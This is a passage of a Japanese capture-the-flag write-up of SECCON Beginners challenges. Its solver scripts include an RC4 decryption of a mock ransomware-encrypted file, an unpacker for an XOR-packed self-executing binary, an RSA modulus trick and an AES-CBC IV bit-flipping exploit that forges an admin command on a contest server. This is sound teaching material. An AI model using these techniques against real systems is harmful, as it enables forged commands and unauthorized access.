   ▄▀    █    █    ▌    █        █    █    ▄▀    █  ▀▄   █      █       █   ▄▀    █    ▌
  █     █    ▄▀▄▄▄▄    ▄▀▄▄▄▄▀    ▀▄▄▄▄▀  █     █    █▀▀▀    ▄▀▀▀▀▀▄     ▀▄▀     ▄▀▄▄▄▄
  ▐     ▐    █    ▐   █     ▐             ▐     ▐    ▐      █       █            █    ▐
             ▐        ▐                                     ▐       ▐            ▐

FLAG: ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}
Correct!
$

フラグを入手できました: ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}

[reversing, medium] Ransom (61 team solved, 125 pt)

なんか怪しいファイルと通信記録を捉えました! あれ? ここにあった超重要機密ファイルの名前が変わっているぞ...?

※ 問題のテーマからするとファイルを削除する機能があるはずですが、デバッグのしやすさのためにファイルを削除する機能は外してあります

ransom.tar.gz ae271e979e3b621a555add56dab9166ef2637c48

配布ファイルとして、バイナリ、暗号化されたらしい16進数文字列のファイル、通信内容を表すpcapがありました:

$ file *
ctf4b_super_secret.txt.lock: ASCII text, with no line terminators
ransom:                      ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6b51e7e12cc52ef6c52f761e7f831a4d645b3ca4, for GNU/Linux 3.2.0, stripped
tcpdump.pcap:                pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
$ cat ctf4b_super_secret.txt.lock
\x2b\xa9\xf3\x6f\xa2\x2e\xcd\xf3\x78\xcc\xb7\xa0\xde\x6d\xb1\xd4\x24\x3c\x8a\x89\xa3\xce\xab\x30\x7f\xc2\xb9\x0c\xb9\xf4\xe7\xda\x25\xcd\xfc\x4e\xc7\x9e\x7e\x43\x2b\x3b\xdc\x09\x80\x96\x95\xf6\x76\x10
$

pcap内容を見るとrgUAvvyfyApNPEYg\x00を送信していました。何かの鍵だろうと想像しました。

IDAでバイナリを見ると、特徴的なSBoxの初期化処理やSwap処理からRC4で暗号化しているらしいことがわかりました:

// 64-bitプログラムなのでFree版IDAでもCloud-Basedの逆コンパイルができます
// .text:0000000000001381
__int64 __fastcall Rc4Initialize(const char *pStrKey, BYTE *pByteSBoxSize256)
{
  int j; // [rsp+10h] [rbp-10h]
  int dwIndexForInitialize; // [rsp+14h] [rbp-Ch]
  int i; // [rsp+18h] [rbp-8h]
  int dwKeyLength; // [rsp+1Ch] [rbp-4h]

  dwKeyLength = strlen(pStrKey);
  j = 0;
  for ( dwIndexForInitialize = 0; dwIndexForInitialize <= 255; ++dwIndexForInitialize )
    pByteSBoxSize256[dwIndexForInitialize] = dwIndexForInitialize;
  for ( i = 0; i <= 255; ++i )
  {
    j = (pByteSBoxSize256[i] + j + pStrKey[i % dwKeyLength]) % 256;
    SwapByte(&pByteSBoxSize256[i], &pByteSBoxSize256[j]);
  }
  return 0LL;
}

// .text:000000000000145E
__int64 __fastcall Rc4Encrypt(BYTE *pSBox, const char *pStrSrc, const BYTE *pDest)
{
  int i; // [rsp+24h] [rbp-1Ch]
  int j; // [rsp+28h] [rbp-18h]
  size_t dwIndex; // [rsp+30h] [rbp-10h]
  size_t dwStrLength; // [rsp+38h] [rbp-8h]

  i = 0;
  j = 0;
  dwIndex = 0LL;
  dwStrLength = strlen(pStrSrc);
  while ( dwIndex < dwStrLength )
  {
    i = (i + 1) % 256;
    j = (j + pSBox[i]) % 256;
    SwapByte(&pSBox[i], &pSBox[j]);
    pDest[dwIndex] = pSBox[(unsigned __int8)(pSBox[i] + pSBox[j])] ^ pStrSrc[dwIndex];
    ++dwIndex;
  }
  return 0LL;
}

分かったことをもとに、元のファイル内容を復号するソルバーを書きました:

#!/usr/bin/env python3

import ast
from Crypto.Cipher import ARC4

rc4_key = b"rgUAvvyfyApNPEYg"
# ファイル内容は「\x2b」等の16進数文字列表記
with open("ctf4b_super_secret.txt.lock", "r") as f:
    encrypted = ast.literal_eval('b"' + f.read() + '"')
cipher = ARC4.new(rc4_key)
print(cipher.decrypt(encrypted).decode())

実行しました:

$ ./solve.py
ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}

$

フラグを入手できました: ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}

[reversing, hard] please_not_debug_me (48 team solved, 138 pt)

バグも無いのにデバッグしないでください!!!

please_not_debug_me.tar.gz cbc97b02829afc9923e53eced64d49d81ae51906

配布ファイルとしてバイナリがありました:

$ file *
please_not_debug_me: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a5e6add6154cff639b6f73f26626298af5bab69e, for GNU/Linux 3.2.0, not stripped
$

IDAで見ると、メモリ中でバイナリを1バイトXORで復号して実行しているようでした:

// 64-bitプログラムなのでFree版IDAでもCloud-Basedの逆コンパイルができます
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int i; // [rsp+18h] [rbp-18h]
  int fd; // [rsp+1Ch] [rbp-14h]
  char *envpa[2]; // [rsp+20h] [rbp-10h] BYREF

  envpa[1] = (char *)__readfsqword(0x28u);
  fd = syscall(319LL, "bin", 0LL);
  if ( fd == -1 )
    err(1, "Can't unpack");
  for ( i = 0; i < (unsigned int)binary_len; ++i )
    binary[i] ^= 0x16u;
  write(fd, binary, (unsigned int)binary_len);
  envpa[0] = 0LL;
  if ( fexecve(fd, (char *const *)argv, envpa) == -1 )
    err(1, "Can't execute");
  return 0;
}

なお、Linux System Call Table for x86 64 · Ryan A. Chapmanによると、システムコール番号319はsys_memfd_createとのことです。

復号する内容を別ファイルへ書き出すスクリプトを書きました:

#!/usr/bin/env python3

with open("please_not_debug_me", "rb") as f:
    elf_data = f.read()
    target = b"\x69\x53\x5A\x50\x14\x17\x17\x16\x16\x16\x16\x16\x16\x16\x16\x16"
    index = elf_data.index(target)
    packed_data = bytearray(elf_data[index:index+0x41A0])

for i in range(len(packed_data)):
    packed_data[i] ^= 0x16
with open("unpacked", "wb") as f:
    f.write(packed_data)

実行して復号しました:

$ ./unpack.py
$ file unpacked
unpacked: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers at 17536
$

復号結果をIDAで見ると、コマンドライン引数で与えられたファイルを読み込み、それを固定のRC4鍵で暗号化した結果が、想定したものになるかどうかを検証する内容でした。Why are you trying to debug when there are no bugs?の文字列とともに、何かデバッガー検出をしている処理も多く見受けられましたが、静的解析なので問題ありません。分かったことをもとにフラグを復号するソルバーを書きました:

#!/usr/bin/env python3

from Crypto.Cipher import ARC4

# LOAD:0000000000004020
rc4_key_str = """
62h, 31h, 34h, 62h, 65h, 37h, 60h, 32h, 69h, 3Ch, 68h
6Fh, 6Ah, 3Bh, 6Dh, 6Eh, 71h, 26h, 23h, 2Bh, 23h, 2Dh
21h, 24h, 2Ch, 2Fh, 2Fh, 78h, 79h, 24h, 29h, 2Fh, 44h
11h, 16h, 45h, 10h, 10h, 1Fh, 43h
"""
rc4_key = bytearray(map(lambda s: (int(s[:-1], 16)), rc4_key_str.strip().replace("\n", ", ").split(", ")))
for i in range(len(rc4_key)):
    rc4_key[i] ^= i

# LOAD:0000000000004060
encrypted_flag_str = """
 27h,0D9h, 65h, 3Ah, 0Fh, 25h,0E4h, 0Eh, 81h, 8Ah, 59h
0BCh, 33h,0FBh,0F9h,0FCh,   5,0C6h, 33h,   1,0E2h,0B0h
0BEh, 8Eh, 4Ah, 9Ch,0A9h, 46h, 73h,0B8h, 48h, 7Dh, 7Fh
 73h, 22h,0ECh,0DBh,0DCh, 98h,0D9h, 90h, 61h, 80h, 7Ch
 6Ch,0B3h, 36h, 42h, 3Fh, 90h, 44h, 85h, 0Dh, 95h,0B1h
0EEh,0FAh, 94h, 85h, 0Ch,0B9h, 9Fh,   0"""
encrypted_flag = bytearray(map(lambda s: (int(s.rstrip("h"), 16)), encrypted_flag_str.strip().replace("\n", ",").split(",")))

cipher = ARC4.new(rc4_key)
print(cipher.decrypt(encrypted_flag))

実行しました:

$ ./solve.py
b'ctf4b{D0_y0u_kn0w_0f_0th3r_w4y5_t0_d3t3ct_d36u991n9_1n_L1nux?}\xef'
$

末尾によくわからないバイトがありますが、ともかくフラグを入手できました: ctf4b{D0_y0u_kn0w_0f_0th3r_w4y5_t0_d3t3ct_d36u991n9_1n_L1nux?}

[crypto, beginner] CoughingFox (443 team solved, 55 pt)

きつねさんが食べ物を探しているみたいです。

coughingfox.tar.gz c2cdda5cb20d25e40be57a72a949591b7172d143

配布ファイルとして、problem.pyとその出力がありました:

$ file *
output.txt: ASCII text, with very long lines (343), with CRLF line terminators
problem.py: Python script, ASCII text executable, with CRLF line terminators
$ cat output.txt
cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]
$
from random import shuffle

flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"

cipher = []

for i in range(len(flag)):
    f = flag[i]
    c = (f + i)**2 + i
    cipher.append(c)

shuffle(cipher)
print("cipher =", cipher)

シャッフルされていますが、一意に復号できると信じてソルバーを書きました:

#!/usr/bin/env python3

cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

flag = [None] * len(cipher)
for i in range(len(cipher)):
    candidates = []
    for current in cipher:
        for f in range(0x20, 0x7F):
            if (f + i)**2 + i == current:
                candidates.append(chr(f))
    flag[i] = "".join(candidates)

# import pprint
# pprint.pprint(flag)
print("".join(flag))

実行しました: $ ./solve.py ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?} $ フラグを入手できました: ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}

[crypto, easy] PrimeParty (58 team solved, 127 pt)

Primeパーティへようこそ!!!

nc primeparty.quals.beginners.seccon.jp 1336
primeparty.tar.gz a7e6a3509109e47f2600a38cf81cd79559fd5eb7

配布ファイルとして、サーバー側プログラムserver.pyがありました:

from Crypto.Util.number import *
from secret import flag
from functools import reduce
from operator import mul


bits = 256
flag = bytes_to_long(flag.encode())
assert flag.bit_length() == 455

GUESTS = []


def invite(p):
    global GUESTS
    if isPrime(p):
        print("[*] We have been waiting for you!!! This way, please.")
        GUESTS.append(p)
    else:
        print("[*] I'm sorry... If you are not a Prime Number, you will not be allowed to join the party.")
    print("-*-*-*-*-*-*-*-*-*-*-*-*-")


invite(getPrime(bits))
invite(getPrime(bits))
invite(getPrime(bits))
invite(getPrime(bits))

for i in range(3):
    print("[*] Do you want to invite more guests?")
    num = int(input(" > "))
    invite(num)


n = reduce(mul, GUESTS)
e = 65537
cipher = pow(flag, e, n)

print("n =", n)
print("e =", e)
print("cipher =", cipher)

4つの未知の256-bit素数と、任意の3つの素数でRSA暗号化した結果を出力するプログラムです。最初は「256-bit素数ならsagemathのfactor関数で素因数分解できるのでは」と考えて4時間放置していましたが、全然終わってくれませんでした。真っ当に考えると、別に2個の256-bit素数を与えて、それらでcipherの剰余を取れば、既知の内容だけになるので復号できそうです。この方針でソルバーを書きました:

#!/usr/bin/env python3

import Crypto.Util.number
import pwn
# pwn.context.log_level = "DEBUG"

def solve(tube):
    p = Crypto.Util.number.getPrime(256)
    q = Crypto.Util.number.getPrime(256)
    tube.sendlineafter(b" > ", str(p).encode())
    tube.sendlineafter(b" > ", str(q).encode())
    tube.sendlineafter(b" > ", b"1") # 3個めは不要

    tube.recvuntil(b"n =")
    n = int(tube.recvline().decode())
    tube.recvuntil(b"e =")
    e = int(tube.recvline().decode())
    tube.recvuntil(b"cipher =")
    cipher = int(tube.recvline().decode())

    n = p*q
    cipher %= (p*q)
    d = pow(e, -1, (p-1)*(q-1))
    m = pow(cipher, d, n)
    print(Crypto.Util.number.long_to_bytes(m).decode())

with pwn.remote("primeparty.quals.beginners.seccon.jp", 1336) as tube: solve(tube)
# with pwn.process(["python3", "server.py"]) as tube: solve(tube)

実行しました:

$ ./solve.py
[+] Opening connection to primeparty.quals.beginners.seccon.jp on port 1336: Done
ctf4b{HopefullyWeCanFindSomeCommonGroundWithEachOther!!!}
[*] Closed connection to primeparty.quals.beginners.seccon.jp port 1336
$

フラグを入手できました: ctf4b{HopefullyWeCanFindSomeCommonGroundWithEachOther!!!}

[crypto, easy] Command (88 team solved, 106 pt)

安全なコマンドだけが使えます

nc command.quals.beginners.seccon.jp 5555
command.tar.gz 22409befa8e1c0451018ae063155a874a76480bc

配布ファイルとして、サーバー側プログラムchal.pyがありました:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import isPrime
from secret import FLAG, key
import os


def main():
    while True:
        print('----- Menu -----')
        print('1. Encrypt command')
        print('2. Execute encrypted command')
        print('3. Exit')
        select = int(input('> '))

        if select == 1:
            encrypt()
        elif select == 2:
            execute()
        elif select == 3:
            break
        else:
            pass

        print()


def encrypt():
    print('Available commands: fizzbuzz, primes, getflag')
    cmd = input('> ').encode()

    if cmd not in [b'fizzbuzz', b'primes', b'getflag']:
        print('unknown command')
        return

    if b'getflag' in cmd:
        print('this command is for admin')
        return

    iv = os.urandom(16)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    enc = cipher.encrypt(pad(cmd, 16))
    print(f'Encrypted command: {(iv+enc).hex()}')


def execute():
    inp = bytes.fromhex(input('Encrypted command> '))
    iv, enc = inp[:16], inp[16:]
    cipher = AES.new(key, AES.MODE_CBC, iv)
    try:
        cmd = unpad(cipher.decrypt(enc), 16)
        if cmd == b'fizzbuzz':
            fizzbuzz()
        elif cmd == b'primes':
            primes()
        elif cmd == b'getflag':
            getflag()
    except ValueError:
        pass


def fizzbuzz():
    for i in range(1, 101):
        if i % 15 == 0:
            print('FizzBuzz')
        elif i % 3 == 0:
            print('Fizz')
        elif i % 5 == 0:
            print('Buzz')
        else:
            print(i)


def primes():
    for i in range(1, 101):
        if isPrime(i):
            print(i)


def getflag():
    print(FLAG)


if __name__ == '__main__':
    main()

6文字~8文字のコマンド名をpadして、AES-CBCで暗号化しています。明らかにIVと1ブロックのみの内容で、IVを改ざんすれば任意内容に復号させられます。とりあえずfizzbuzzで暗号化させるとすると、パディングは8個の0x08になります。これをgetflagsのパディングに変えるには、9個の0x09にする必要があります。この点に注意して、ソルバーを書きました:

#!/usr/bin/env python3

import pwn
# pwn.context.log_level = "DEBUG"

def solve(tube):
    tube.sendlineafter(b"> ", b"1")
    tube.sendlineafter(b"Available commands: fizzbuzz, primes, getflag", b"fizzbuzz")
    tube.recvuntil(b"Encrypted command: ")

    inp = bytes.fromhex(tube.recvlineS())
    iv, enc = bytearray(inp[:16]), inp[16:]
    for (i, t) in enumerate(zip(b"fizzbuzz", b"getflag\x09")):
        iv[i] ^= t[0] ^ t[1]
    for i in range(8, 16):
        iv[i] ^= (0x08 ^ 0x09)

    tube.sendlineafter(b"> ", b"2")
    tube.sendlineafter(b"Encrypted command> ", (iv+enc).hex().encode())
    print(tube.recvlineS())
    tube.sendlineafter(b"> ", b"3")

with pwn.remote("command.quals.beginners.seccon.jp", 5555) as tube: solve(tube)
# with pwn.process(["python3", "./chal.py"]) as tube: solve(tube)

実行しました:

$ ./solve.py
[+] Opening connection to command.quals.beginners.seccon.jp on port 5555: Done
ctf4b{b1tfl1pfl4ppers}

[*] Closed connection to command.quals.beginners.seccon.jp port 5555
$

フラグを入手できました: ctf4b{b1tfl1pfl4ppers}

感想

  • Reversingジャンルを全て解けたので満足です。
  • 想定難易度easyでも、非常に苦戦した問題や解けなかった問題がありました。まだまだ学べることがたくさんです。
  • Rulesに1 ~ 2 人チームで参加される場合は、競技時間内に着手・正答できる問題数が限られることが予想されますとありますが、それなりに奮闘できたと思います。これ以上時間があっても解けた問題を増やせたかというと怪しいと思いました。